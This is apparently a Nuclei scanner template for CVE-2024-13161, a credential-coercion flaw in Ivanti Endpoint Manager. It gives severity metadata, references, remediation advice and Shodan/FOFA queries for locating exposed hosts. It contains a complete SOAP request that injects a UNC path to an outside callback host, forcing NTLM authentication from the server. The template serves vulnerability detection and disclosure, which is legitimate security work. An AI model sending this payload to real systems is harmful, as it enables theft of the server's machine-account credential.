A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForSingleFile endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
PoC
id: CVE-2024-13161
info:
name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForSingleFile
author: ritikchaddha
severity: critical
description: |
A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForSingleFile endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
impact: |
Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
remediation: |
Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13161.
reference:
- https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-13161
cwe-id: CWE-36
epss-score: 0.90081
epss-percentile: 0.99789
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:362091310
fofa-query: icon_hash="362091310"
tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln
variables:
file: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: text/xml
Soapaction: http://tempuri.org/GetHashForSingleFile
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetHashForSingleFile xmlns="http://tempuri.org/">
<wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
</GetHashForSingleFile>
</soap:Body>
</soap:Envelope>
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(body, "<GetHashForSingleFileResponse")'
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100f4f6e9ec64f1636bd51103427cca342363ad9888d6af493cf9ec6f03aaf2b942022071abc908e4c2561973718242db321627a40eeb1bab817635a183b1659ecd7907:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.